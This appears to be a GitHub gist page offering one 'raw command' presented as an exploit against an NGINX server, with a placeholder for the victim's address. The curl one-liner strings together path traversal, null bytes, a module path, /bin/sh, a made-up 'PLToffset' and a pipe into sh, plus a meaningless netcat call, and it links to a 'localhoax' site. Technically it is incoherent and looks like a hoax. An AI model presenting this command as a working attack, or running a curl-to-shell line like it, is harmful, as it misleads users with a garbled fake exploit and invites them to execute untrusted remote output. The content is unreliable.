Skip to content

Instantly share code, notes, and snippets.

@LetUsFsck
Created June 1, 2019 10:46
Show Gist options
  • Save LetUsFsck/f648627ca8c0b805810c87f980d40854 to your computer and use it in GitHub Desktop.
Save LetUsFsck/f648627ca8c0b805810c87f980d40854 to your computer and use it in GitHub Desktop.
Command Line Trickery Volume 1 - Raw Command Only
Change only the "VICTIM-SERVER-HERE" to NGINX server IP or hostname.
curl -gsS https://VICTIM-SERVER-HERE:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00\<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
That's it! For details on all of this, check out http://localhoax.eh.gl
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment